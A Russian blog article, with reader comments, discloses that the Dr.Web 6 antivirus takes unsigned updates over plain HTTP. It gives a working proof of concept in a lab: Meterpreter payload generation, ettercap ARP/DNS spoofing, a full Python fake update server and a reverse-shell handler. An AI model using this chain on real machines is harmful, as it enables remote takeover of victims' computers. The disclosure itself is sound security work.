Пользователь
0,0
рейтинг
21 апреля 2014 в 10:04

Разработка → Эксплуатация уязвимости в процедуре обновления DrWeb

В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.

В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.

Исходные данные:

В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.

Подробный список программных модулей антивируса и их версий на момент тестирования
  • Dr.Web ® Virus-Finding Engine drweb32.dll (7.00.9.04080)
  • Dr.Web ® Scanning Engine dwengine.exe (7.0.1.05020 (Build 9393))
  • Dr.Web ® Windows Action Center Integration dwsewsc.exe (7.0.1.05020 (Build 9393))
  • Dr.Web File System Monitor spiderg3.sys (6.0.10.12290)
  • Dr.Web Protection for Windows dwprot.sys (7.0.0.08090)
  • SpIDer Agent for Windows spideragent.exe (6.0.5.10310)
  • SpIDer Agent admin-mode module for Windows spideragent_adm.exe (6.0.5.10310)
  • SpIDer Agent settings module for Windows spideragent_set.exe (6.0.5.10310)
  • SpIDer Mail ® for Windows Workstation spiderml.exe (6.0.3.08040)
  • SpIDer Mail ® for Windows Workstation settings module spml_set.exe (6.0.3.08040)
  • Dr.Web Winsock Provider Hook drwebsp.dll (6.0.1.04140)
  • Dr.Web Winsock Provider Hook drwebsp64.dll (6.0.1.04140)
  • Dr.Web© Scanner for Windows drweb32w.exe (6.00.16.01270)
  • Dr.Web ® Console Scanner dwscancl.exe (7.0.1.05020 (Build 9393))
  • Dr.Web ® Shell Extension drwsxtn.dll (6.00.1.201103100)
  • Dr.Web ® Shell Extension drwsxtn64.dll (6.00.1.201103100)
  • Dr.Web Updater for Windows drwebupw.exe (6.00.15.201301210)
  • Dr.Web Helper drwreg.exe (6.00.12.201102110)
  • Dr.Web SysInfo dwsysinfo.exe (7.00.3.201204270)
  • DrWeb ® Quarantine Manager dwqrui.exe (7.0.1.05020 (Build 9393))
  • Dr.Web Adds-on unpacker drwadins.exe (6.00.0.02270)
  • Dr.Web ® for Microsoft Outlook Settings drwebsettingprocess.exe (6.00.0.201101130)
  • Dr.Web ® for Microsoft Outlook Messages drwmsg.dll (6.00.0.201101130)
  • Dr.Web ® for Microsoft Outlook drwebforoutlook.dll (6.00.0.201101130)



Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:


Описание уязвимости

Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.
Список серверов обновления
  • update.geo.drweb.com
  • update.drweb.com
  • update.msk.drweb.com
  • update.us.drweb.com
  • update.msk5.drweb.com
  • update.msk6.drweb.com
  • update.fr1.drweb.com
  • update.us1.drweb.com
  • update.kz.drweb.com
  • update.nsk1.drweb.com


Процесс выполняется в следующей последовательности:
  1. Запрос метки времени — timestamp
    Пример запроса
    GET /x64/600/av/windows/timestamp
    HTTP/1.1 Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
    X-DrWeb-KeyNumber: 0110258647
    X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
    Connection: Keep-Alive
    Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
    Content-Type: application/octet-stream
    Content-Length: 10
    Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
    Connection: keep-alive
    Accept-Ranges: bytes

    1397898695

  2. Запрос дополнительной информации (актуальная версия антивируса и некоторые другие данные) – файл drweb32.flg
    Пример запроса
    GET /x64/600/av/windows/drweb32.flg HTTP/1.1
    Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
    X-DrWeb-KeyNumber: 0110258647
    X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
    Connection: Keep-Alive
    Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
    Content-Type: application/octet-stream
    Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
    Connection: keep-alive
    Accept-Ranges: bytes [windows]

    LinkNews=http://news.drweb.com/flag+800/
    LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
    FileName=
    isTime=1
    TimeX=1420122293
    cmdLine=
    Type=1
    ExcludeOS=2k|xp64
    ExcludeDwl=ja
    ExcludeLCID=17|1041
    [signature]
    sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077

  3. Запрос списка обновляемых компонентов системы – файл drweb32.lst.lzma
    Пример запроса
    GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1
    Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
    X-DrWeb-KeyNumber: 0110258647
    X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
    Connection: Keep-Alive Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42
    Date: Sat, 19 Apr 2014 10:33:39 GMT
    Content-Type: application/octet-stream
    Content-Length: 2373
    Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
    Connection: keep-alive
    Accept-Ranges: bytes

    ].....#.......-.
    ..x.3..x. .**..C.......d...X..7..vB.*P]c...<....^.,.2..c.?.>y....!.(,..*...sA.U.pM..,.......hG....j.*.............F...:. ..!Z.....h..}...(Y1k.....}...F..-....J...............|...3.;.....5.."...S.K`.)
    .Kjx$,....u.5..~.}UX.E… (другие данные опущены)

    Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так:
    [DrWebUpdateList]
    [500]
    +timestamp, 8D17F12F
    +lang.lst, EDCB0715
    +update.drl, AB6FA8BE
    +drwebupw.exe, 8C879982
    +drweb32.dll, B73749FD
    +drwebase.vdb, C5CBA22F
    …
    +<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D
    +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe, 8097D92B
    +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll, A18AEA4A
    ...
    [DrWebUpdateListEnd]
    

    Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алгоритму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.
    Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. – т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории

  4. Скачивание файлов
    Пример запроса
    GET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1
    Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
    X-DrWeb-KeyNumber: 0110242389
    X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903F
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)
    Connection: Keep-Alive
    Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42
    Date: Sat, 19 Apr 2014 02:02:36 GMT
    Content-Type: application/octet-stream
    Content-Length: 5712
    Last-Modified: Sat, 19 Apr 2014 01:31:32 GMT
    Connection: keep-alive
    Accept-Ranges: bytes

    Dr.Web ® version 4.20+ Anti-Virus Database
    Copyright © by Igor Daniloff, 1998-2014
    Created by Doctor Web Anti-Virus Labs, St.Petersburg
    IDRW4...CR/.U.._.C..9G.~\J....6G....}u...y$_naykP...x...........h… ................J.....QS................7..(другие данные опущены)

    В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего:
    GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f 
    

    Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком:
    GET /x64/600/av/windows/drwebupw.exe
    

    Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma.

  5. Обновление файлов
    После процедуры скачивания файлов, происходит замена старых. При этом дополнительных проверок также не производится. Например, как будет показано далее, Dr.Web без проблем принял сгенерированный пэйлоад из метасплойта вместо родного drwebupw.exe.

На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.

Эксплуатация

  1. Создаем собственный бэкдор, который бы выполнился на компьютере-клиенте и передал управление злоумышленнику. Для этого можно использовать нагрузку Meterpreter из проекта Metasploit Framework, дополнительно прогнав через Veil-Evasion для обхода антивируса. На выходе получаем файл drwebupw.exe, который в дальнейшем заменит оригинальный компонент антивируса клиента при обновлении.
    Процесс создания бэкдора (c/meterpreter/rev_http )
    =========================================================================
     Veil-Evasion | [Version]: 2.7.0
    =========================================================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    =========================================================================
    
     Main Menu
    
    	29 payloads loaded
    
     Available commands:
    
    	use         	use a specific payload
    	info        	information on a specific payload
    	list        	list available payloads
    	update      	update Veil to the latest version
    	clean       	clean out payload folders
    	checkvt     	check payload hashes vs. VirusTotal
    	exit        	exit Veil
    
    [>] Please enter a command: list
    
     [*] Available payloads:
    
    	1)	auxiliary/coldwar_wrapper
    	2)	auxiliary/pyinstaller_wrapper
    
    	3)	c/meterpreter/rev_http  
    	4)	c/meterpreter/rev_http_service
    	5)	c/meterpreter/rev_tcp   
    	6)	c/meterpreter/rev_tcp_service
    	7)	c/shellcode_inject/virtual
    	8)	c/shellcode_inject/void 
    
    	9)	cs/meterpreter/rev_tcp  
    	10)	cs/shellcode_inject/base64_substitution
    	11)	cs/shellcode_inject/virtual
    
    	12)	native/Hyperion         
    	13)	native/backdoor_factory 
    	14)	native/pe_scrambler     
    
    	15)	powershell/shellcode_inject/download_virtual
    	16)	powershell/shellcode_inject/psexec_virtual
    	17)	powershell/shellcode_inject/virtual
    
    	18)	python/meterpreter/rev_http
    	19)	python/meterpreter/rev_http_contained
    	20)	python/meterpreter/rev_https
    	21)	python/meterpreter/rev_https_contained
    	22)	python/meterpreter/rev_tcp
    	23)	python/shellcode_inject/aes_encrypt
    	24)	python/shellcode_inject/arc_encrypt
    	25)	python/shellcode_inject/base64_substitution
    	26)	python/shellcode_inject/des_encrypt
    	27)	python/shellcode_inject/flat
    	28)	python/shellcode_inject/letter_substitution
    	29)	python/shellcode_inject/pidinject
    [>] Please enter a command: use 3
    [>] Please enter a command: set LHOST 10.0.1.106
    [>] Please enter a command: generate
    [>] Please enter the base name for output files: drwebupw
    [*] Executable written to: /root/veil-output/compiled/drwebupw.exe
    


  2. Используя arp-спуфинг, перенаправляем запросы клиента на хост злоумышленника. В качестве инструмента можно использовать утилиту ettercap и модуль dns_spoof. Добавляем хосты, используемые для обновления Dr.Web в список перенаправления ettercap. В принципе достаточно одного адреса update.geo.drweb.com (т.к. он проверяется первым):
    echo “update.geo.drweb.com A 10.0.1.106” >> /etc/ettercap/etter.dns
    

    Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns:
    ettercap -i eth0 -T -P dns_spoof -M arp:remote /10.0.1.1/ /10.0.1.102/
    

    Таким образом, трафик после эксплуатации пойдет по следующей схеме:

  3. Эмулируем сервер обновления Dr.Web для выдачи клиенту специально подготовленного файла. Для этого был написан небольшой python-скрипт, который:
    1. Принимает входящее соединение
    2. Формирует метку времени и отвечает на запрос timestamp
    3. Формирует файл с дополнительной информацией drweb32.flg
    4. Формирует файл со списком обновлений и запаковывает его в lzma архив drweb32.lst.lzma
    5. Отдает фейковое обновление на запрос клиента

    drweb_http_server.py
    #!/usr/bin/python
    #encoding: utf-8
    
    import SocketServer
    import SimpleHTTPServer
    import time
    import lzma
    import os
    import binascii
    
    from struct import *
    from subprocess import call
    
    #Непосредственно обработчик http запросов от клиента Dr.Web
    class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):
        def do_GET(self):
    
            if 'timestamp' in self.path:
    	    self.send_response(200)
                self.end_headers()
                self.wfile.write(open('timestamp').read())
    
            elif 'drweb32.flg' in self.path:
                self.send_response(200)
                self.end_headers()
                self.wfile.write(open('drweb32.flg').read())
    
            elif 'drweb32.lst.lzma' in self.path:
                self.send_response(200)
                self.end_headers()
                self.wfile.write(open('drweb32.lst.lzma').read())
    
            elif UPLOAD_FILENAME + '.lzma' in self.path:
                self.send_response(200)
                self.end_headers()
                self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read())
    	
    	#Клиент первоначально запрашивает патч для обновившегося файла, 
            #а если не получает его - запрашивает файл целиком
            elif UPLOAD_FILENAME + '.patch' in self.path:
                self.send_response(404)
                self.end_headers()
    
            else:
                print self.path
    
    def CRC32_from_file(filename):
        buf = open(filename,'rb').read()
        buf = (binascii.crc32(buf) & 0xFFFFFFFF)
        return "%08X" % buf
    
    def create_timestamp_file():
        with open('timestamp','w') as f:
            f.write('%s'%int(time.time()))
    
    def create_lst_file(upload_filename,upload_path):
        # upload_path может принимать:
        # пустые значения, что значит что файл находится непосредственно в директории Dr.Web
        # либо значения вида <wnt>%SYSDIR64%\drivers\, <wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\ и т.д.
     
        crc32 = CRC32_from_file(upload_filename)
        with open('drweb32.lst','w') as f:
            f.write('[DrWebUpdateList]\n')
            f.write('[500]\n')
            f.write('+%s, %s\n' % (upload_path+upload_filename,crc32))
            f.write('[DrWebUpdateListEnd]\n')
    
    #по какой-то причине встроенная в Linux утилита lzma в создаваемом файле не указывает размер исходного файла
    #без этого параметра Dr.Web отказывается принимать файлы, поэтому правим руками
    def edit_file_size(lzma_filename,orig_filename):
        file_size = os.stat(orig_filename).st_size
        with open(lzma_filename,'r+b') as f:
            f.seek(5)
            bsize = pack('l',file_size)
            f.write(bsize)
    
    #загружаемый файл должен находится в одной папке со скриптом
    UPLOAD_FILENAME = 'drwebupw.exe'
    
    #создаем метку времени
    create_timestamp_file()
    
    #создаем файл со списком обновляемых файлов, для упаковки в lzma используем встроенную утилиту
    create_lst_file(UPLOAD_FILENAME,'')
    call(['lzma', '-k', '-f','drweb32.lst'])
    edit_file_size('drweb32.lst.lzma','drweb32.lst')
    
    #архивируем файл с фейковым обновлением
    call(['lzma', '-k', '-f',UPLOAD_FILENAME])
    edit_file_size(UPLOAD_FILENAME + '.lzma',UPLOAD_FILENAME)
    
    print 'Http Server started...'
    httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler)
    httpServer.serve_forever()
    


    При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe
    python drweb_http_server.py 
    Http Server started...
    10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/timestamp HTTP/1.1" 200 -
    10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/drweb32.flg HTTP/1.1" 200 -
    10.0.1.102 - - [20/Apr/2014 10:48:26] "GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 -
    10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 -
    10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
    

    Клиент успешно его примет и перезапишет оригинальный компонент:

  4. Запускаем обработчик соединения от бэкдора:
    $ msfconsole
    
    msf > use exploit/multi/handler 
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
    PAYLOAD => windows/meterpreter/reverse_http
    msf exploit(handler) > set LHOST 10.0.1.106
    LHOST => 10.0.1.106
    msf exploit(handler) > set LPORT 8080
    LPORT => 8080
    msf exploit(handler) > run
    
    [*] Started HTTP reverse handler on http://10.0.1.106:8080/
    [*] Starting the payload handler...
    


    Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:

    На этом можно считать, что хост клиента скомпрометирован – мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время.


Выводы

Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.
Максим Чудаков @Izzet
карма
102,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (58)

  • +64
    А вы слов на ветер не бросаете) Я про комментарий "Challenge Accepted"
    • +27
      Да я думаю многих бы задели заявление в тоне:
      Мне не интересны домыслы, ни выше, ни ниже. Презентацию я читал, хотя и по диагонали… но это компенсируется тем, что я знаю как работает наше обновление и что там можно и что опасно, и что нет. Я — знаю, вы — нет.


      • +26
        Надо фразу:
        «Я — знаю, вы — нет» сделать мемом ;)
        • +18
          Ха, мем. Это тянет на лозунг Российского IT!
          • +13
            Это лозунг многих гос. структур.
      • –51
        оу. Пожалуй, тот мой комментарий можно считать резким, хотя цели такой не было. Если Так задело — извиняюсь, но смотрите зато сколько пользы! :)
        Однако не отказываясь от смысловой нагрузки моих слов и видя вашу заинтересованность, я попробую пояснить. Хотя кроме вас вряд ли будут вчитываться, ведь так приятно потоптать :)

        Итак, если таки получилось перенаправить трафик жертвы на свои сервера, то отсутсвие https с валидацией сертификата действительно позволит скачать левые файлы. Этого я не отрицал. Весь вопрос что дальше будет со слитыми файлами. Старые версии апдейтера dr.web, использующие lst файлы, на этапе получения файла проверяют только целостность передачи, для чего и служит crc.

        Ваша правда в том, что неподписанный компонент не должен пройти через самозащиту. Тут мне вам нечем возразить. Подмена битым компонентом это баг. В таких случаях, правда, принято сначала сообщать вендору, чтобы можно было закрыть уязвимость, если она есть. Но понятно ваше желание осадить зарвавшегося вендора :) Ваш выбор.

        В новых версиях продукта даже с этим багом шутка не пройдет, по ряду причин.

        Итого, не занижая ваших заслуг, отсутствие https не является недоработкой. Выявленная вами проблема хотя и была бы трудновыполнимой с ssl и валидацией, но причина её не в этом. От сути своего стилистически дерзкого комментария не отказываюсь.
        Спасибо.

        • +24
          > В таких случаях, правда, принято сначала сообщать вендору

          Так он же вам и сообщил ещё 17 апреля 2014 в 06:35 по Москве. А та презентация ещё раньше появилась, очевидно.
          • –14
            В комментарии по сути ссылка на pdf-ку с анализом процесса обновления, плюс на linux-платформе. Сегодняшнаяя статья по шагам описывает практику выполнения атаки, и уже на другой платформе.
            Еще раз: конкретно в этом случае SSL поможет, но баг (баг есть, я не отрицию) — в другом.
            • +21
              Сегодняшнаяя статья по шагам описывает практику выполнения атаки, и уже на другой платформе.

              Сегодняшняя статья описывает атаку, шаблоннее которой сложно что-то придумать. Любой человек, хоть немного понимающий в этой области, сразу после прочтения PDF прокрутил в голове все описанные в этой статье очевидные шаги. Т.е. статья — просто PoC эксплуатации описанной кем-то другим уязвимости. Никаких ноу-хау, никаких хитростей.

              Если сотрудник DrWeb прочитал PDF, увидел слово «Linux» и не догадался применить написанное к Windows и хотя бы запросить старших товарищей, а потом ругается на «не покормили с ложечки», то как его назвать?

              Очень смахивает на описанное в habrahabr.ru/post/219691/#comment_7501755
              • –5
                Вы и многие упорно не хотите услашать меня, что проблема не в отсутствие SSL в канале передачи. Ну сделайте одолжение, внимательнее:

                Валидация приехавших компонент выполняется _после_ приема файлов.
                И это правильно, потому что скомпрометировано может быть не обязательно подключение к серверам, файлы могут образоваться на машине юзера и мимо апдейтера.

                В данном случае проверка не срабатывает, это БАГ. Я Не отрицаю. НО он не имеет отношение к (отсутствию) SSL в протоколе!

                Поскольку мне отчаянно сливают карму, я не имею возможности отвечать на все комментарии, прошу извинить, отвечу тут, хотя понимаю, что слушать уже не будут :(

                1) небольшое замечание по поводу статьи, всё-таки в тестировании учавствует скорее всего не сертифицированная версия, т.к. зона обновлений куда шел апдейтер — общепользовательская.

                2) не древние ( моложе 7, в релизе сейчас — 9 ) версии продукта защищают список компонент, подложить им левый бинарник, даже подписанный, не получится.
                • +3
                  В данном случае проверка не срабатывает, это БАГ.

                  Вы утверждаете, что это именно дефект конкретной версии, и что вообще-то проверка должна быть? Но как? Судя по статье, подсунуть можно любые данные, и даже у легитимных данных нет цифровой подписи. Нечего проверять.
                  он не имеет отношение к (отсутствию) SSL в протоколе!

                  Имеет, но опосредованное, это да.
                  небольшое замечание по поводу статьи, всё-таки в тестировании учавствует скорее всего не сертифицированная версия, т.к. зона обновлений куда шел апдейтер — общепользовательская.

                  С точки зрения протокола есть различия?
                  не древние ( моложе 7, в релизе сейчас — 9 ) версии продукта защищают список компонент, подложить им левый бинарник, даже подписанный, не получится.

                  Даже подписанные? А можно чуть больше деталей? Вы ведь, помнится, говорили, что и в этой версии защита транспорта не принципиальна, ведь данные проверяются. Ведь если даже подписанные компоненты не принимаются, то получается, у программы нет функционала обновления, что тоже не очень хорошо.
                • +2
                  1) небольшое замечание по поводу статьи, всё-таки в тестировании учавствует скорее всего не сертифицированная версия, т.к. зона обновлений куда шел апдейтер — общепользовательская.


                  Расскажите, пожалуйста, уважаемый, в чем же технические отличия сертифицированной версии от несертифицированной?
                  • +2
                    Я полагаю, что, во имя неукоснительного соблюдения взаимоисключающих параграфов, обновления на сертифицированной версии должны быть отключены и включаться вручную, когда выходит специальный сертифицированный набор обновлений.

                    Ну или должен использоваться специальный сервер который содержит только сертифицированные обновления.

                    Только это не имеет значения, ибо не мешает провести-таки эту атаку.
            • +7
              Закроете-то баг когда?
        • +16
          Весь вопрос что дальше будет со слитыми файлами.

          Доступ к системе с привилегиями system, делов-то, подумаешь, мелочь какая…
          Подмена битым компонентом это баг

          Баг был в OpenSSL, а это — грубейший архитектурный косяк.
          В новых версиях продукта даже с этим багом шутка не пройдет, по ряду причин.

          А конкретнее?
        • +16
          pansa
          В теме, в который Вы начали спор насчёт обновлений DrWeb, мало кто придавал этому значение. Но Ваша настойчивость и умение вести дискуссии не пропали даром, теперь весь Хабр знает чего стоит стоит Ваш антивирус. И даже если это не так — имидж уже сформирован и Вашей компании будет очень непросто вернуть себе статус-кво
          Должно быть, Ваш работадатель Вами очень доволен. Да и у Вас есть повод гордиться собой
          • +2
            Строго говоря, существует возможность, что этот юзер не тот, за кого себя выдаёт.
    • +52
      Спасибо :) После одного из комментариев, для меня этот вопрос стал принципиальным.
  • 0
    Очень странно почему не https.
    • +27
      Это еще не странно. Странно, что подаваемые файлы не проверяются по цифровой подписи. Кажется, у кого-то в DrWeb не заладились отношения с криптографией, и он решил обойтись без нее.
      • 0
        Обычное дело для проприетарщины, где никто тебе не зарядит подсрачника за говнокод, кроме коллег, а начальство постоянно пинает: «быстрее, ещё быстрее, забей на то, делай это». Хреново, когда твой код видят только люди, с которыми ты в дружеских отношениях.
    • –2
      А ещё пакеты в Debian передаются не по https. Потому что он там не нужен.
      • +23
        там они хотя бы подпись имеют, и она проверяется…
    • +8
      На самом деле нет смысла тратить ресурсы сервера на шифрование каждого соединения через https, если контент для всех пользователей одинаковый. В этом случае целесообразнее один раз подписать сами файлы (правда в данном случае это не сделано), а отдавать уже обычным http.
      • +1
        Более того, именно так и необходимо делать, раз контент не уникальный для каждого клиента. Во многих регионах у провайдеров используются решения по кешированию http, в силу ограниченной емкости внешних каналов. Много где еще используются спутниковые каналы.
  • +37
    Ещё одного самоуверенного гуру подопустили немного…
    • +7
      А сколько самоуверенных гуру остались неподопущенными даже после heartbleed :(
      • +5
        Вон даже из ВТБ24, вроде были ;)
  • +55
    После этой статьи отношение к drweb упало ниже чем до нуля — не проверять собственные базы на целостность выглядит столько нелепо, что про прочие качества антивируса даже думать не хочется. Тем более что подозрения и ранее бывали…

    Есть народное мнение, что KAV существенно «тяжелее» drweb, что всегда звучало как похвала — теперь, я кажется, знаю, чем добывалась «легкость».

    Впечатление, как от танка, у которого сбоку в броне сделана фанерная дверка, закрытая на простой шпингалет, а конструктор скромно отмалчивается, отвечая только, что «Броня есть? Есть! А дверка сделана для удобства обслуживания, из-за того, что через люк ремонтировать неудобно, но вы не парьтесь, враги-то о ней не знают! Я — знаю, враги — нет!»
    • +1
      Есть народное мнение, что KAV существенно «тяжелее» drweb, что всегда звучало как похвала — теперь, я кажется, знаю, чем добывалась «легкость».

      Прямо в точку, в своё время у KAV была проблема с тормозами во время пересчёта хэшей обновлений :-)
    • 0
      Более трёх лет пользовались шестым дохтуром. Наперво он достался по наследству, потом теплили надежду, что вот вот и будет нормально. В итоге перешли на другого вендора, который даже оказался дешевле на 30%.
      Не знаю о какой тяжести KAV говорите. drweb совершенно не лёгкий и ещё обладал фирменной фишкой — совершенно не реагировал на команды центра управления. Поэтому многое приходилось делать локально. Хотя всяких неудобст можно повспоминать много. И с быстродействием при включенной активной защите не ахти. Помню долго их рассказывал барышне из ТП drweb, которая позвонила справиться почему отказался от из продукта.
      Теперь оказывается ещё этот продукт, призванный обеспечить безопасноть, сам далеко не безопасен.
  • +9
    Интересно было бы услышать комментарии от сертифицирующих органов. Кстати не только вы обратили внимание на эти сертификаты, полтора года назад еще один человек писал забавные вещи про dr.web:
    http://sporaw.livejournal.com/135169.html
  • +4
    Каждый раз, когда я читаю похожие статьи я думаю, как это может быть в наше время особенно для продукта, который разрабатывается уже больше десяти лет. Ведь это какие-то детские проблемы, как то, хранить пароли в чистом тексте в БД.

    Кроме того, ведь еще есть версия ДрВеб для провайдеров и локальных сетей (такие себе он-сайт апдейт сервера), где осуществить подобную атаку много легче, и, я так понимаю, можно заражать целые сегменты сети.
    • –4
      Мне кажется, или у них даже пользовательский интерфейс не меняется за 10 лет? Как-то все недружелюбно. Понимаю, что для продукта такого рода это не столь важно, но ведь для людей создается. С маркетингом тоже не ясно.
  • +2
    Месяца два как снес этот убогий антивирус и видимо не зря, его заточенность на тупоюзеров меня просто достала, последней каплей была проблема с установкой вебкамеры, драйвера на камеру не устанавливались, но drWeb хранил молчание и никак не обозначал себя в этой истории, только после того как я удалил его, камера нормально установилась, причем я купил уже другую, полагая, что проблема в драйверах. А такой эпикфейл окончательно убеждает в их уровне безопасности.
    • +1
      Посмотрите внимательно как хорошо удалился дохтур. Он обажает создавать скрытые каталоги карантина с элементами неизвлекаемости, которые потом можно unlocer-ом только удалить, или с live-CD.
  • +12
    Получается, что возможна и банальная атака с подменой hosts или через DNS-спуфинг и т.п. Короче, миллион и один способ заставить DrWeb получить свои файлы вместо обновлений — какой ужас.
    • +3
      не работает такая атака на свежих версиях.
      • 0
        только новые версии не сертифицированы ни ФСТЭК, ни ФСБ, ни Минобороны
  • –1
    интересно, как такая новость отразится на продажах Dr.Web. А ведь скорее всего почти никак, до простых потребителей оно и не дойдет(
  • +14
    «Нахрена нам враги, когда у нас есть такие друзья!» (с) Б.Г.

    P.S. Неприятно, что «некая госструктура» никак не отвечает (в т.ч. и перед гос-вом) за качество «экспертизы», сделанной по заказу того же гос-ва для проверки ПО, которое в госструктурах же и будет работать.
    • +1
      Вроде же по условиям проверок ФСТЭК, устанавливать можно только те обновления, которые были проверены и сертифицированы ФСТЭК (и принесены на специальной флешке, одобренной ФСТЭК — видел такое в одной в/ч), таким образом на сертификацию дыра никак не влияет, но всё равно остаётся дырой.
  • +5
    Честно говоря когда читал ту ветвь комментариев, был склонен верить скорее вашему оппоненту. Потому что вы в первом комментарии написали что он обновляется по http (что само по себе не страшно — Windows и Debian делают так же), но не написали что он не проверяет цифровую подпись скачиваемых файлов. Ну и пока не было доказано обратное, сложно было представить себе что взрослые люди — тем более в ПО, связанном с обеспечением безопасности — допустят такую лажу.

    Вспоминая свой давний комментарий «Обновления от Microsoft идут по plain-http, но там, наверняка, каждый файл обновления имеет цифровую подпись, которая проверяется перед запуском, всё-таки в MS не школьники работают», я уже чувствую что может быть и в том случае стоило проверить, ибо нет предела человеческой глупости.
  • +6
    Читая обсуждение у меня возник вопрос. Обсуждается версия 6, которой уже не один год вроде как. Сейчас актуальна версия 9. найти предыдущую версию обычному пользователю еще надо постараться, да и смысл?
    Сертифицированные версии, которые все еще используются, как я понял, обновляются не через общедоступные сети, так? Следовательно, найденный баг не опасен на практике. ну разве что обычный пользователь до сих пор сидит на 6-й версии, принципиально не обновляясь.
    Так вот, версия 9, опять же из из комментариев, этому багу не подвержена. И обычный пользователь, владеющий свежей (или не очень свежей 8 версией) находится в безопасности при обновлении
    Итог: для чего весь этот спор и срыв покровов?

